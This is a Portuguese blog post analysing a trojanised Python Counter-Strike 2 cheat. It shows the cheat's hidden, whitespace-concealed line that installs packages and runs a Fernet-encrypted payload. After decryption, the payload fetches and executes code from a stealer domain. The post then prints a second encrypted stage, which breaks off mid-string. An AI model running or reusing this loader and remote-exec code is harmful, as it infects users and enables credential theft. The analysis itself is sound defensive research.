CS2 Stealer Edition - Análise de Código Malicioso Python
⚠️ Disclaimer ⚠️ Antes de começar a abordar o assunto desse post, quero deixar claro que todo conteúdo apresentado é a caráter de estudo, qualquer código apresentado aqui se usado de maneira errada eu não me responsabilizo!
Introdução
A quanto tempo não escrevo um artigo, acho que talvez nem saiba mais como começar rs… antes de mais nada, k33p4l1v3 meus amigos :)…. pra bom entendedor, meia palavra basta!
Motivação para a Pesquisa
Contexto
Recentemente eu e uns amigos voltamos a jogar CS (Counter Strike 2), e eu notei que não mudou nada quando se diz respeito a “cheaters”, ainda continua infestado… Então fui procurar por esses cheats para tentar de alguma forma escrever um código que identificasse esses jogadores durante a partida, assim daria para manter um jogo mais justo (Já que eu tô ruim pra diabo no CS e jogando contra cheaters é que eu não consigo mesmo ahhahaha).
Resumindo bem, encontrei um código Python (única linguagem que entendo um pouquinho) de cheat e fui analisar para ver como esses hacks são feitos. Eles utilizam um mapeamento de como o jogo se comporta na memória e usam o pymem para manipular a memória durante o jogo, criando funcionalidades como triggerbot, aimhack, wallhack e etc…
O código que fui analisar parecia ser utilizado para acessar a memória do processo do jogo e renderizar uma sobreposição (overlay) gráfica na tela…. o que isso faz no jogo é desenhar caixas e linhas ao redor dos jogadores identificando aliados e inimigos, utilizando cores diferentes para cada um…. o jogo no caso ficaria +/- com essa aparência:
Só que no meio do código, alem de “hack” de jogo, tinha também um hack para hackear o hackeador…. mas o que chamou minha atenção nem foi o fato de ter algo escondido ali, mas sim na malandragem para inserir o código. Quando olhamos o source no github, parece até normal a primeira vista, mas se fizer scroll lateral do código da para ver que o danadinho deixou um brinde para quem quer ser o sabichão do game rsrs.
Para permanecer online, deixei uma cópia da pagina no web.archive.org -> https://web.archive.org/web/20240730041535/https://github.com/DanyaGrins/Cs2-Python-Esp/blob/main/main.py
Análise do código
Neste ponto, vamos olhar mais a fundo o código do danado para entender o comportamento malicioso que ele possui.
Dependências e Instalação de Pacotes
O código malicioso que pode ser encontrado na linha 135 executa um comando para instalar uma série de pacotes Python caso não estejam presentes, os pacotes que instala são:
- cryptography
- fernet
- requests
;import os;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'v44Z1uV23vs38mQrFBQi4ivVXX3XjPQLpOPPpZ4ojYg=').decrypt(b'gAAAAABmmDpjXYZCoXglFlqphHh0vXlJ5qEcYVZ8MytOTipuGiIOJBwfscYJDn-Z8MTtiHD5qfkHIODxxLVm3mVbdmBvx5DQy79Eqy200-vSoAinkzqvo_IIt8vZN_xjDKoWlcWP5SmmD1gt7YyIaO5G3vFEb2pgA_V0Kwt3UjoFO3eWaEDZa0OKkr0sPgs3-QoLtiBisbvSjMBWgcRcjmhV1WXvIcd8fg=='))
Esses pacotes são usados para criptografia e manipulação de requisições HTTP, o que é suspeito em um código de cheat para jogos já que se trataria apenas de manipulação de memória.
-
Instalação de Pacotes:
os.system('pip install cryptography') os.system('pip install fernet') os.system('pip install requests')
Essas linhas utilizam o
os.system
para executar comandos no sistema operacional, instalando os pacotescryptography
,fernet
erequests
viapip
. Estes pacotes são necessários para a próxima parte do código. -
Importação de Bibliotecas:
from fernet import Fernet import requests
Aqui, as bibliotecas necessárias são importadas para uso subsequente.
-
Descriptografia e Execução de Código Malicioso:
exec(Fernet(b'v44Z1uV23vs38mQrFBQi4ivVXX3XjPQLpOPPpZ4ojYg=').decrypt(b'gAAAAABmmDpjXYZCoXglFlqphHh0vXlJ5qEcYVZ8MytOTipuGiIOJBwfscYJDn-Z8MTtiHD5qfkHIODxxLVm3mVbdmBvx5DQy79Eqy200-vSoAinkzqvo_IIt8vZN_xjDKoWlcWP5SmmD1gt7YyIaO5G3vFEb2pgA_V0Kwt3UjoFO3eWaEDZa0OKkr0sPgs3-QoLtiBisbvSjMBWgcRcjmhV1WXvIcd8fg=='))
Esta linha utiliza a biblioteca
cryptography
para descriptografar um payload encriptado com o algoritmo Fernet. A chave de encriptação év44Z1uV23vs38mQrFBQi4ivVXX3XjPQLpOPPpZ4ojYg=
, e o texto encriptado éb'gAAAAABmmDpjXYZCoXglFlqphHh0vXlJ5qEcYVZ8MytOTipuGiIOJBwfscYJDn-Z8MTtiHD5qfkHIODxxLVm3mVbdmBvx5DQy79Eqy200-vSoAinkzqvo_IIt8vZN_xjDKoWlcWP5SmmD1gt7YyIaO5G3vFEb2pgA_V0Kwt3UjoFO3eWaEDZa0OKkr0sPgs3-QoLtiBisbvSjMBWgcRcjmhV1WXvIcd8fg=='
.O resultado da descriptografia é passado para a função
exec
, que executa o código Python resultante.
Descriptografia do Payload
Então… bora entender o que esse payload misterioso realmente faz, certo? Primeiro, a gente precisa descriptografar o conteúdo encriptado pra desvendar o que está escondido ali. Para isso, vamos usar a chave de criptografia que foi fornecida e dar uma olhada mais profunda no que ele carrega.
🔍 Código para Descriptografar o Payload
Primeiro, importamos a biblioteca Fernet
da cryptography
– ela é essencial aqui, pois permite realizar operações de criptografia e descriptografia simétricas, onde a mesma chave é usada tanto pra encriptar quanto para descriptografar. Abaixo, o código detalhado:
from cryptography.fernet import Fernet
# Chave de criptografia fornecida (em bytes)
key = b'v44Z1uV23vs38mQrFBQi4ivVXX3XjPQLpOPPpZ4ojYg='
# Payload encriptado (em bytes)
encrypted_message = b'gAAAAABmmDpjXYZCoXglFlqphHh0vXlJ5qEcYVZ8MytOTipuGiIOJBwfscYJDn-Z8MTtiHD5qfkHIODxxLVm3mVbdmBvx5DQy79Eqy200-vSoAinkzqvo_IIt8vZN_xjDKoWlcWP5SmmD1gt7YyIaO5G3vFEb2pgA_V0Kwt3UjoFO3eWaEDZa0OKkr0sPgs3-QoLtiBisbvSjMBWgcRcjmhV1WXvIcd8fg=='
# Instanciamos a suíte de cifra usando a chave
cipher_suite = Fernet(key)
# Descriptografamos a mensagem
decrypted_message = cipher_suite.decrypt(encrypted_message)
# Exibimos a mensagem final, convertida para string legível
print(decrypted_message.decode('utf-8'))
🚨 O Que Está Dentro do Payload?
O conteúdo descriptografado exibe uma chamada HTTP que faz o download de um código remoto e executa ele localmente…
⚠️ Atenção! ⚠️ É arriscado a execução direta de código externo, é importante lembrar de remover a função
exec
. O comandoexec
executa o código retornado pela requisição HTTP como se fosse código local, ou seja, não tem nenhuma verificação de segurança ali.
exec(requests.get('https://1312stealer.ru/paste?userid=14').text.replace('<pre>','').replace('</pre>',''))
Fiz a requisição para visualizar o que esse endereço retorna sem a função exec
para obter o retorno. Gravei a execução para observar o retorno.
O código retornado vem outro trecho criptografado para evitar deteccao:
import os
import sys
content = """
import subprocess
import sys
subprocess.run(["cmd.exe", "/c", sys.executable, "-m", "pip", "install", "fernet"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
from fernet import Fernet
exec(Fernet(b'2QhByK1S6OiSYyR0ieLjajwm2T1XwQDJFsQ94U7f5EY=').decrypt(b'gAAAAABmqFtEmwUvBRd1_LdcefS-hZSCVVRgnFntSYrlOtDj-_Y7Wvm23UPUlTPNdVW5TnJxTjRsaFMwL0P3UjbivSuBLRkwfbNu0-wNaawLSlRupTOv_9UNMM44FdcC2X6UhM6UJmr3iuNOlO7B2xdLYtYYpSpjEnIYTViEKfV5Q2WByVfvSwW5O6_ZSao2zxpehoLq80M7hvC4pEh_IJOC-cKsGrW2I37-oAsNgVseOfq6j0mV5l-2gloaJ15A60XGI3C05a5C__RTpAAz4WRbbUmNsxAHrx0J1h5rSSUIHc0mBkIWVPGXfRzHs8Lu2Z4HF_MCJo8df9QNGOWBH4CmMUglUhQwDAkEcz7RV1bCjQ_Hd-7wE9mCk0HN_LnNCy2RDVy7NNY9Wi4-oD0Q4CiH2cfpGhdpb5X1sDXlxqJzdR5ABqr3b6VrDBXK8xQ-4TYJjASOOXFrAIE_DpLc4rkOBGV5pmWxqNd78uManin0CwPi_VTa7GkKrwr1XUcRN9y2zUSsHyIClZYctbAyY5XfYBv5w1CSvyJ0Je7hfNa3lywPzE_csZ86oBAxlREz9z1M9dH50m_wMtdWydd1FcQrz7gx_0lgenIsJRNzSGp_6kddCUiKh6DHpEmkpoceaHVILy2Uqxb9rK3ZKU-3xKiRVeC_e3ehG-f-VkcaNezlJv-DsRpDm_-sO793pNJYYKgfslYLDttZJcVIlZtxSQy3eFQ-Gio6Gbd7NcVSS5Mmzx9lh1N3nmlAXWFXGekbfPM2iaGe_zmZQbuF4-sLWO3cxf1QeLYHxxSH6pO8NQL3QZceJ89GhlTNIyAW2YtLmjRUNS-ymp1fSRB1YiJWrylVJcO3PyvK_WfDCbmbU2z9qmV_F-vq2SsMBhOgtSVLeJBvy3x9zhsg4lbHIEVkmqf-UPxDvgnEvSOhvBwhabgNLZll1d_gGJgRL7H5O5wPItj4sh7hSHi-nrn9YdlVNgb2BEgtMsS6kBbWnQdUb75S8Lo0cqr4GuCzBno9yk8rAuSlX6WNLJ8fwatbYGJmnXkStM2uKWTxOhHRvJU7oMzpxlI_AfDr0sIbG1ejOGffCS-cxdkp16a0VVQDu1YFzpQ_ZBPIfvzIqbvJKUEztPpYGT6WqsRJUYrmIckHVfPWuTEyPjWkHo3QzujVPjE4zmwFB2VRLTf0eGAP2xXpWSj6DBJ4tYgzFdbp6Vj82P7DCU4zE9kv_tVmqD65WDvoednyp25nI3TyI5CAbBAJeOuH8gKv13rS3so9bC87lm88aHxRjK-erwKaQiivDhJMV-YlG3F0m2fDmEzvQdmZSQTxel0lqUw25hNemMRAiwr0zvLltWM4jDdks-WPNqH1eVCGYQiKbwuSoT-nY-50uthSAXlwDBKaUBaID9xKhQl3zOzi7CZinu84hQchCR2D-mQ8FO9xFOwhT16uPlFoB7Fe7k5xZQEvP-wnmvE1Z3IROZuh0tFdYzAVmRglVCuY_TLc_MZpIFKbC4QKEXsCOfsDP_G1FqapGKy0fOStTogUQAH2H2rrfLVI5IOQH-ofdGkwQ459HuY7PwzSVjD5E0VxpKGE61gEZJHij8W7fhupgyBnFYEc32Yxp5Vz2julDAaaA09ytsxLX4MUrlcQevTvRCHjH_rcfRTnK_z-FtbUPjesKvjC_tYqLGgJnx4q1Y1_2I1ja6uY5TAqUZryhMpcKgouyoRDgZFaZ0Lg7v0jfBNQQqIAa8vhNhXxAAOq0InD_TEwNrW0cvvHtd1eba2ZoNLw_B-JbaukAHT_3VC_W0dx3G9YSHwzuWbIqvrZRao9c_TRdrfewepuL-IwqW43jcpZBEZqwrF02y0GNpb2tcjHLwFLpqySkiB1RKKdbXkTWCQMs3wfvSB74ViJgx3-qDlMyyYGGU0d_80ncnloOvuQcOIblwDpp9U9zrQANUrUFxy7eJvUHi6UjrxH5c0Ye-Tq-MquNjGgad5cMw9oq0BP8g1eoxKzTMrKjPgRpNWAU80jJGPAG5YJXKvAZAx7voRaUjMsyqWTvj_bjxZFi-6dANAbT-OsSPOH861fhkD9haIlNBTwpsVVyfnjxON0zkiesklRHlEAKRFNR4pzEtcGGC991GQ_EtJ7uA467dhEciopcl7yWbYpJN_EUFENQw0Q-RkTjFGMx3ojpPRW5esl4mYhU72eEZ2uRm2avIXpDGMqJtbwwv_NIG4D6FA7ldNKQqLdAd3xucS66dZw7rsicX6BkvPpaN54JlCuxClonHccu7BDS07xleuR_gJWMUO8aZN33YaryiDSMS9NwImeIAqxVQi8-vX94D0VYRqpG24_HNBQKbhfg_KmGzs69w61zkDzULDpK_8REknl-Yqz6V8nm6NC-sDtnqBqacgV83SLsj4ySfy122zMxpmCdYSdwXU9oG56WfIkg1i4hbeEG9r72sTlkbYwHrHZ-1AkKMXM2G9xVIdvLQ_rWA4-w6IV8BDLQNZm4ZxWpQbdcQb2B0UJKb3FqGkE-WZB4oWJ5UfYx7q9FxCF2vTKN13gIjxUv_Ho9aV-fwLgo06zOTQQ_tVFGpFsvMExgS3bbNjKxaqtzpspKfhMiwOlgPvM3sQqi1pSgIo_9jMGi4bTGDPjBgzB5B-WLSYBHrPTaxcZRZGSbW48cxf5AmJQ9HgVzL3AJuiq_9fEWmmJCtHiif9ralg75znbjbwDzKvywWF8ySUcECNsLvaIRVhsxmgkzYN_DKcIogNIMLU9LJF_H_wpAYZ9Krwlm8JUoKfHyUKf_zRG-c1AVTqaQ2F38y3i0PqE3YSO_H3xvlEpgknp8mvrO72SlAqoPH6qwVHj99yhaEQ9y91bKUUcOCMQ-dW06CYToqkiM6hqmgI5eAQVHG7IDvWYORivGtHuctZDzsBQpxNAMyLTbq28-u01BXZsIOpqQJ_Ynz1lTiHvn8dOyHyZm0Ygy3cG5HJMkbxiL05RhWocA3Mm0dxCIW9ObFe2STlNHBDdJOUMB_3swFDQLC2sXNWWIKBO_Y5al2Z2RTCCBEQ7yOpPS2fa134uhVU1JoR0wVh24ArNt5G_Ft3xWgxNU3_jsuwYWUA3ykaxE2A7b-20g-AP-i9KuGUjknl8wt6JuF-6KKg21kZ9Lca-MhOOYVaM8bUxmNqBxA-Fb7g3yXMU_I0KYBZ8iz2pamsr2ViwhdKFEAsh-I1jxpH7NY9uuLAb4Vjbwne0Vmqqr8uLAfHNwVG5zOvg4Gh7lorz-jWHwYNwcttTEhCTTjAwWnatCctZ73PjSaL4iQHc6pP5mwApMGfzhR5z_FiXwRgg8SlSzj96yuknknq2tfjUhPPkxw-lmDsJhMDKfboJef4u1EmtA8ZT9pesgtBjj5WSakvtpBTJnWfUwYy5xnAMPBTtnnTLrwLsQyeFn3qNU2FV_B_cf9bPWoW_c34ThrDckms3xqhS5pYIcWKxqbkPpoym3JM7CCEC6mhjry9i1fMWlZtAJNB9kMh3aEDLKSf9bCHjKoX260R1XiSYAA5vDqye_16_dBvtDXydxNV-Dsm34IXM28aAK8Cf_mCgrHjObE5r7iuQXQxuwrXMFLv7SnZCy0kqoYNpNW7jaBj6UI5tBN0I55BuRkNyBi3eTVJ3jTUk1E6u3Qqw8uLSvEquWrIWdAFZY2szaoZUbzqp2U5_kTMVK34An9NyhdKYENDGaA9lqWJeJr4LEBDCR2rb4bZSKSToibgtxSZGKXGQLTmEHJKiskS8wz3HRIphdfyeiLY2M7A7Tfcl2xYQSqXcQbkJmvcnw3E6Zr_3rR9x3xGqT7Hzcwr0HagVlS01Qh0Kq3SqnAwzD4lIkayPlG64m7J2X463Y7J61XX-h-G1S9XUUIiGlLYsyVfhRjn-BEA2x2Mx5d0ihsoowhKivrLbbF1ICR_Llb0XVl9rSLlbuDE3WPpj35XzNPSHuUTm0tfXuIBGIYA5RwJWybQS4fTpNYErvgLGGxt9QFliiUrS3ps_Q4RdLThp3to9QZ03U6yJu2__URbkJkGypQBJOUlcrmradTefVNWpnp5acHdIuFaYYs-m3Y46eS-UPjZfaXqclHQqxrZKsXnQtHfU87M20UAVnIQAg1Sxu2TufI6n8Ut8kIhxOjx1i02h1bEcqlAXkpOlVJjvxzyEV-JiBQ2wSFZFPTOiJGkxMawneUpSkfsT9e3K0tqJ4adadJwWgHKATtiMnHdDUzYh9hmIHDaGFUi1E-z0gX0V9EN2jMuHrjhnIQophDQ2q56gDmBlbIcV-QlXTVqz7Ej_K0-2bgLI5S_biaWF1VhyoZS6j5ncGaVa-bQcIWbqnbHUfltH_Tc2CfcEElNjuMRrIwbXA1vJIJY8_SR9pzIC2Ta2YJmhmvpzHlWxlg7z8c7gnD3DtdcavpqFMGvaZdRn3G4ka4euyBaxilZWVxKoOlcwEP31UrT0mPFO6Afm4MD0SNRlcVDPQFQ1Q0bwBgEf49JgkhgbhNKDFBWdti2IqQ7ibGtl1O7BT1hj0SNQJkZVxYHq8bAC-vEWRC0pAE0LN-6tbmZ7OEyYcIH63Y5M6VXBgAL1Wo36X9Zv7uvvpoCJvbTnLjOPkh9E7lyxXtCGTvDfsCPA9x-6bDLDtG20NHuaRI1ZrpomqE3d-s2u_HqpG_cBm_cECOpp0pZEs-h0x2W3kgWG6tIiWPfflKc2Nlutbav3FzZQpwDqezDkeFaEHPY-kmmQ1kHSb-zFyOhmlx4bJdGroolmmnC47KUzjls6vkf4_og5tslM8Y547RxwU2fqJskkpv-I5yuHb4YUZX2byUR0C27aQTAw1N_CRzjRueDmPa8iGbQZu-rJZZYflIEg8Um1YoL2SlvF2apzuuMhb2nV1WSDIW7NtCvVrHoW2plBAr2cYTyMZu1mRRyyrmRkxeCwokPMbAOXXsKMxIMzZ2xQ6rV05o45MU6D9nrK6JUqo2RirctyFVjAw-beD08D0quNrqGqc709TSyTd-9__bfLxJYR1Tv2k_DCa9jeRzTq5W90LeO_MtYRj902YAFHog08jarC1GB6z5d2_SxidRHCPWwPfsicdVuT5yAgrmMECggX-mVVlHnfhsSWYzrIgK8LUolGTivqwrjdEiJKb9XHBt3hc3j_HDi6cLBOB1pAGSMtiRaHOpGwvnSR_rnlr7awQecDvRnttElSQkZx9DU5WOR9wFwfW9GOOelJjRywPAJAP5MWxuBhpZEMj9HinM_CoQPIWuljZzDln5sogcn2i6C39FFCgpsEvA9rit3STJK6SrFypKtcVVzahDdFScZS3TXhQsmFNkVBFOcu63cpnn8PpKc6b1AJ_gZRDvzXaRYjOp31gThR6nXhgIMmem4FO8jW0iESqllaGjpij3buhlqqhI5bWQcIkFFww7Nfx-ObSFS8frJsApT4iIkITvFPJ5Vv7UiEfEpGygBHdgcpeW1VMH_SXxk26Lg6fcLEhd_5yvAq6URxTPpJLEppbVBdZ6qvDaRx4bE9qNjD-OYhCCG-1eCmKul0KHmJEbSCuPmLz-IB0s2oPdbtLt13Rxfj_aGwYLxjoTeUn3eHcq6XYH5CuZvwBJU-Mn_fhSPvb11SQFunYu9LGV4R5vxDn_JMshhPAlwi9W10TO2P_w2xg4Hb_2Iumy-f9qHI3-CCWX1lEoMNbs2hgdK9lRr3Hp0dOEUPxcyslV_-JeMbGE4kRWPnE6ZTElEhcK8GAm-5rMtNb_Cw0vASTVzIn_qAAOQcCorR3IImAGNwGJKTfnM4NhcvAWYvPIzhAEE_7ZUvv4SgxYTiKNLL-QBT8vl9plPDetBwrsPq5-NsXgY_UJNn74jUcRnNwHifcRVx20vSuw02kwfXOYaQI-NXb_AEdAoOCOminHT6yPImTdN81veBxT7kklRpweLDlwaomb-mpXq1uc6951CSQXyf6eTuU-ORLwB4pQtzOHooFT287OakLOL6NS0PcotH2RHxe3skWfFGMZhKp4qhhQpG-hN0qERaUOUcm1tx0obsalAwQeNxeodRpZKAkmpmRo5evroGRo_gvbjFZjGMgR8z1tTV6s1IXGAfv94WXsFXUTAmUpaiyhwB4xgC5i-wpSL-LkG9ybhDnrdUZ7wesFmf6N4wwFDMWrXZigSj_NYTo4c6wAY5aUkBZ4tpD1bI3zmuOvYPe-dwuGDUC12b3DINLUzzHz3EulG4Yeig4xhkDYSQ32kbPsZ_crANEUCkjsB1Yn7h-58O2Uzd6ghZDP-CjE0FZSylCvedG6EZef9nzj6zUDfOf-TBSjKQkk90vQdon699WEkWh-g0X3bkpaNincmme9tENIuL0mzQpTSw7nSRSxPHFAU9BcocYRaBk-0dBXhYlwT2P8D51QcMV47eJpZxEcU4mD_cZUENxEwrSnwZsDNpsCE4OyDhJ05tIQoELP11vsiS1C5pKcpuBEhQHIZqUkFfT5Zj3KwRQNFXEWBsmzLZcPOxJ0LCWc35elCkqTReslULdZ9JiSR64uP4j12OZUNe7OUAUTO9-Iyai-bOvZxkU6H1u7Eeva08hlSbTWtfKGoEZxQy5GlpxWWTTJ5HDC5uvI5DzyxMumtBavGpm_cujEwcnEcq-B8mPRkvA45pBjBCLbJx9VIMQSQWh1LzIdSJPCXtzXageZLWAHkPHf-v68SHn55CVF-4kqefrrQqT0oWhCJw8UpsQDsfREXNE55mVt7iPZkbR6KgNfm7bbBXH7nF3KM2HKKUwyI9KfscvjkApKxdpQv5cViA22Uji5SWBsHO73Jz2nPSl2sbh617Q0demooHBGEfyE8IKzOPoc15Qk2s-d1gIhdNDYWW-NT1N3pyxe8lcpdn8dJzAVzoA9lNlQvZ0bh6drKv00wd4-ldGw28i2SDMNCCQTMg5sityju6VenvD5n-RWfJu666sdT5l-AJ0YJtnpze7Ma0Ox5OdHsPf6O6x838s_ZPqH-qTv9LSg3UdBr680WiqiQ1f-HQ6FNBcT4Ka6OSi-0KTcsWgPxPkDUf8wCtNsfzQhigDgbjkL7NZKlZosMr8wEFMSYJWNmdrcHdMFazign4r6xSFmIHwrgGaQZoQtLrrWo7NOTFPBWUwLlSmXB1TdPGrnAffgmmvMH-zahhIzM3Gp5Lsa_2_9PxP8JQaVF_jJQJUNJKLa_VQNl8-Bl_jtzWZOFYY0ZzsKDICbyYsDMyQ2WJaWDcnzTLCexA9JpKIHnRRt8UzxrL5HNgN_RhclV2aQCVMhThpH1fXTIUb2Jgs62ytpDWW4VrqKrctR8RBrXVSi-7fFRT4_hwooUNwK13xOun1cmtmDrH7_Qa5xEODR0cehLNzGLxnMX-WRT2mw6mOYJaLPVML011S3mlUce5ukk55b1VA0YCr6wPyAjAJEnBlAGWufWimiObSgOmfHV9nc3ZCs63Rjr83JgHEwAxp7cyURwQsL4yz8ObAc4TWvB7WoxQweSIXgw549lPbpYDPGEoo7vM_PxBHIXyBwnALBDqHYVE3tsw9d2Sn0rrzscuMkwRVfJVPECnooXsIeCmGmVZsynaUeJ-DU_ctQPG5BC-iVfVLYEIKmWdCzJDuqJI4fD3ou7szd6-iw6l1k-2jisdON5OgwNrR1siO5xcN9zVtlbB99ZEOJIpT1-x8WF0XoIfFMARELYUBkifESPwSrQAr7NqX17bT2TIewariwC-g60WbVDKI5jwM82GD71JJ0lzxAWDAWWrzkulAZNdrSvGEG7eQFgx92XQGthW9xoWz5ET7bLwtM4cvQPWxGP16gO5tb4evix07pAOL2fjI1aTaY9cRjHKzTvZdSbP5ekHuqUzn1d-db2QvTOLR1dWIBi06faDfHz42kMJ8JzrgungLmuK8AzlewxEUGjpoXOhipxStEHe4wpyku_wV8P_hKku6EQTHMEH22SPh6_ZK8Y99ElkFNhdCFuK3OufLeCKcr3CqsFd4davILeZAlL-f_4yAFQwZchTTF6EHgWfGTyaDaydPPO7sI_esNuENb-bRWPyf3TIg57_Hj3HOwfO2zy9aCZaY6tbYvfsSHXgg84_oprSjgkEESsTP14YRnJh8pZRpB57ZNOi25i_XeYJmFjW7GBwRh4VNU5X3AfvS_g_F7OgF53UvNnYERYoFI1rYNggGmN6rokO3bucDkoW_TZQvcj8Zc-kQp6xQzZzNiDEcXbtUhUF6KRfHulxYdO5HQs6ZS7b30dIktTQ4riGPKhL8dO4qW-VwMaijqVM4bGEbSYS75e1EvOdXmcNYbL5_9OQJefXWpnntoV00jMY8sfIHriXTboR0Yji6OYydFnZvLtfM_gWr8gnecplczleJcUX6do4TW_9kpcrortXfwCEJls66ZZ4VgaIH4i0cg25e5w1lF0U_ICcHSqYb8jy4IiD51yRp8D83D8hOpW8NAFubvuqpxd4_fjr2yN4H-7v484THr0PHE1AA8-CLf_1R1LDis9sNzCPP3gYKNnEUapp95WolWeZ6bqFGZjZFbeIsp3oChT9RgH6BZ4hF3XvtE0Aw7U6Fo-jWRxR9xGfM0-Icwws46fydjUSh1LKhlFh2KfWRFyLo1WlbwfeS_QmXXJE7yH-FmiwvhZ6E91Jryi0KQXSNrdW0CwiyNm8hNHPDIbv_IhdooZqdanURexjqy3uFBj-4iss-5Toh9q_fQ6wF-OOtPfOoXnArOsvY0o7J5dNAQaUBwvpa1JzHlO26eqpHXFgAtK_YEEg76MnirwAhBbNXz3myZYwR8XImG_nuUHP1qHfkTOlrgexiSEC_FB7UR4vR58YBIoe4595pmdSrJ9hp3YydnLjRItWzjcJMC9znrxUflhszA1tThjW6zi6Xly1RriHjY0HTHCmbdjWYfrzTLZEQb5AjPaVsINglF8RLS-NE_0IoNQxPvFk6QOL0Giqa8m68E6slrWWP0ylvAC6PwMMGPBkpf1q2qL3LdmbSszGj6XN9UQlnahOGdzHF6lkqAehVcHTlnBAyVAojawh2vZ5xIG11ZsabXz4dXWG6EhbsBU2z7D7ZNcuJ4cy83FOsAck2APq4XlPaRL_YzdboQLhnZ1Ap305aucWGSndZJ3B_lvUxJWg3V3z6sZmbO7LOT5hkv9ffhluTnI5sPPmfYwFo5PZkK6GsYsDaEw1NcQexx5poZh1a4W_ubu0fbqRkI6FqWKpxpD1f8j-61tcpKiinVg_wrNFDillCmqs0cB7riKH7duFvaH5qgIH7uiaZTYMnf7zb_ZA2ZBYMILSaSS5mYTVR1nT4e8ZC7D5ct33q0bOot985oP6aDwH6PH4eG2GFnL85F9tza8OHHX9Hr2af-W1HNKocKl8TSlWUYLhMv_xWAnt9wMwjEomL0JW0Qwc40Yy-ZajLOBFs31aJCCxQR52IbjIuHmsRoyYqNW7CsHIsRoaI0qzlwHzjobVmJFkrUnAwakYko3N0zn-nStCTsWm_5TSzX5baxMd9ZsRc3TocVQX1-xXxmkWrFGa3X5-eOg0LPWvegNYABVGd-02xPexkdIskIvZrtfebM-B_0afjvH6VHd-Kb0BSUQKrr1mV6W3_twrXxaLnm_GBqnzrYcIoVycumnhgZ1uWuKPEQe1zC18AJjEi-ARhJkEwcnywGbtYOvUyoFZpDcW2qtex_JfovDJ7lG11Bj9VO6g-JaybPjv_SI779jPV5O9GnXt2RIInlOhK-aZouex_EipLX4ybKkf5nZGtm1wSHfzuKoukMYlnsOulTHYvhpx1bn9LbyH05OuTtRhef0ut_dqhZD2vBKVeqPzddV4P51tUXsxanfcDLVk0v8HsdlMksGcga3ECOyvRZJkz-cTJxyjfHkK1BgwYXhBTMV9N0TD9WFIsunpahpy09EYcORS0Cf3rchO7TaC7BQFcxt008P11delNwn3FiGL4q_MVXy0zV1IsQBQHX4OQsrDESn_LBPETuGPzH1MAzywI8p1Ak5GD02Di0m_hdOVYj6YJS5sagxtSf0fr9zzVuYUEb7HcJQxHK0jP2whT1BsuJFAlVe9hKzyZt3d5OFTdpc0cuWA3M9mz8wN-paezBBElykqmBmW4UoF3cHvJ02g_114cKbcpQITEgYjV7F85s-qNKd2886-_wvp6e_sJNtIHsq6ZxAMVpYA79Xny5cKp_u74RGJji4xVbPHeDVFXqHgi6CW8CprgFnW7Ch98FUuMgIXsS8CVQt3LIV596pT8NjKDBvo2rN182LEskTLOKtPbHMTH-Sytj_5pcaMVA5TV9ENPJXgWt8dQl0AWz0-zMlAy2mkbcpErIveUx1ZXNr_4vKv6x2CRVfG-3Bvenc7VTOHPAnKG_WfP5ce5sdkc6yfTZLb8S4Yfk49asmODlKEhjuT-tIeBIrw1n2AdxcwpJpwPw4bIlJq8wD-_KbHPOfCl2LpLlHZNECvukayAdsvL258iImL7PeSHISPXLcANSHNiC9ICE1FDPvbZo2sw81H4DY_41PLh4qAZ53UaGTihkMd4H0mSmU80Myvsyf6qzp1cpo0ka7LZHpIJp6l3PVkma2PKksOGGLxzPlClq9JPdWxycTk1PvlgeEVriNQnfM1s_0j-gLrb8kE83TxGF55S7B7A1ZmKRnr6GF4AYWO4RI460ukh3q2xuuh_DDYxTjIyZNB-KC7BGTrqtG220nkgI7njE9bSeX1WGrJOLAsFNBWfKvnC53a1xpqr-L_aUxjT1tQgGciFIq2k9DHg2BKG6Xc0iSirpCA5tuMkA9vmt7kwABBs6ISyc9wVmZJFiHWQ34Q0BR2GsGpoBYFPLOmXPJB1L0BMuhA44_xc1azR8PF_CJSc9q9HCbqxXCLQ-w9SkV3Pzkm2haA9hl8FwDRLAgc9H8_vxCQ_YMvAiiqy_dnhx_drRB1TlzQzfj2F8z5WFwD4s670njPQmFWaYmTWxNNURf3kg2NzsVUO-XUghfgh0pcJi6RzTWCqTFsHlwPZPAsImPIrzY9VQxsbDk88oD5ngwPEatkGzlLvBc4pBO5XJ-mbRsaSBOEgZQkNm2FwTVXscrKgbOs6fI_2SUGsWdDfqLh9NGeGRbt79HklEf3XzWBq5xMrIWeLb3U6qXzQALdrYm1X3iO8q7zzucnzpx_2BuDKDJPqC92pVQY8YMpYQTwL7Xd_V3h8haQDCm39vPhtGz894ZoVCL73K-XC1Zz98zA6QR7P6BcsjQewm5WNrM4dE8lK-u4sWak72NCmQgZ-vRXwjS9Ta6im8sNOO2mSyCknUnMtY3vz-CwLOOvQiUNXXQ7iec5m3OHpB2GBn9eCPkr32z7ueXno2GQLsEHQW71jz6nHRmMAnJvNs_j4R2S8jAPvvJaBGyEsONOatoXhvRpYRTGEove_jimUnW3wN5xOnyiHm0TLFh92knePRQ889IMof50nhD7pDO0WpTet-oov6w3stWpzDm29Czqdfegg5sstKaP_OKnr4yx7wdaaFFLwKrcx553FJJpFeHIjw3VUdKL4vtOQOuAPM5eGhkDm6juDL7BMgstAa537vZsR93ulKw9AmL-iN58C8Asz7fLCQpAAuY_YvSb0Yyf-1ogUUOZIixrLTS6FTVOvbErGPZm-_gC2_a7zIlPMbbV1xZ7qFmJOAo8hHpSz5WN9-uCEo2uGLZAUDBsYPwqqVUWYMhJ19Is1I18SetkZscWj-r13gf1TZanFvq8NoCZcDJBlEosh1Qv_m5x76JRK7r57rjE50ogUHR6LbwK0Ocj6QA1eAwBb6JTNaszzW7fpiNCUT5MOzB7l6UP5RGHYrVUjnh6Lg0VN-mvj77xNbyeSeJVOFCWweer4IRUXcIM5DqDmJeHiWc6IyZhMcnS-DGj2zSvDiboJyKIlpp8btmDBqz3ySwRfyXHgwrnPvXewQH8wPuF51g8LZz8WuJxmoecsX-eT3Ey-6ZTsa71HyeQbXmX1RyvPPhQjyaLc0trJX7fTx5jjrDEKl9Gb0uQPBD9oSmatwy06o8wvY3kK4nD6Nw47n25E8ueymKViEHt5d21lwFzR4fopVWXesie3oICY947VXoV88g9LVsfUbam5_LyGRG5NAJPNY0jRhIlZr1Wr1dKx1A2oe8ZCaLju2_fXIdGldlDLs-La7KbHnta90fMGRTGitOy6erYfY0mwo1Qlt6gy8tZlc3t5JsBQb6dv5afT3VNC2sNaU5gbJh767zZPZ